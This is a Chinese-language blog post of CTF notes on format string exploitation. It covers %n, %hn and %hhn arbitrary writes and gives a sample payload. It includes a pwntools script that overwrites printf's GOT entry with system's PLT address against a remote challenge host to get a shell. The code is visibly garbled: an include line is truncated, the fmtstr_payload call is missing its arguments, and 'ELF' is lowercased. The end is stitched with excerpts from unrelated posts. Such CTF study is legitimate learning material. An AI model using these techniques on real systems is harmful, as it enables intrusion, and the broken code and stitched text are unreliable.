某大學社課(1) 格式化字串漏洞利用

2022-06-29 10:42:09 字數 2162 閱讀 6936

最近pwn遇到瓶頸,考慮看一下某大學的社課系列,找一下感覺,順便理一下思路之類的

寫了三個小時部落格,然後火狐崩潰了,我一直在ctrl + s,但是最終一點東西都沒了,真好

之前的不管了,今天白天再從任意位址寫開始吧,悟以往之不諫,知來者之可追。

之前留存的幾張截圖

%n可以對任意位址寫入值,寫入的值是已經輸出的字元數

輸出為8

#include int main()

任意位址寫的payload

%100c%10$n
(32位下)向格式化字串的第十個引數寫入104

利用方法

更為常見的利用方法:比如要改寫乙個位址,用%c$n的方式會輸出大量的字串,我們通常會選擇%hn(寫入short大小的整數)和%hhn(寫入char大小的整數),然後分多次來寫入

即,單次printf多次寫入

注意:之後每次%xxc必須減去前乙個寫入byte的值,因為%n是總輸出字元數

類似printf的函式

__stack_chk_fail hijack的利用方法

bp chain技術:利用連續的call 改 bp從而達到在棧上某個位置寫入的目的

把printf的got的內容改為system的plt即可

from pwn import *

local = 1

binary = "./echo"

libc_path = '../libc-2.23_32.so'

port = "27562"

if local == 1:

p = process(binary)

else:

p = remote("node3.buuoj.cn",port)

def dbg():

context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

# arg location:7

# aaaa %p %p %p %p %p %p %p

libc = elf(libc_path)

elf = elf(binary)

printf_got = elf.got['printf']

system_plt = elf.plt['system']

print "[*] printf:",hex(printf_got) #0x804a010

print "[*] system:",hex(system_plt) #0x8048400

payload = fmtstr_payload(7,)

print len(payload)

print payload

p.sendline(payload)

# gdb.attach(p)

p.interactive()

格式化字串漏洞利用 二 格式化函式

原文 exploiting format string vulnerabilities 譯者 飛龍 日期 2001.9.1 版本 v1.2 格式化函式是一類特殊的 ansi c 函式,接受可變數量的引數,其中的乙個就是所謂的格式化字串。當函式求解格式化字串時,它會訪問向函式提供的額外引數。它是乙個轉...

Python(19) 格式化字串

因為種種原因 懶 所以想用python生成html檔案。做jsp的話,jsp頁面上那些資料是用http.request.getattribute x 等方法拿出來的,什麼el表示式也是為了 的簡單省事。如果用python寫html呢?硬編碼吧。把要替換的地方用個什麼包起來,再用string的form...

python3格式化字串

數字處理 預設序列填充 format str1 str2 str1.str2 自定義序列填充 format str1 str2 str1.str2 format str1 str2 str2.str1 自定義變數填充 format str1 str1 str2 str2 str1.str2 form...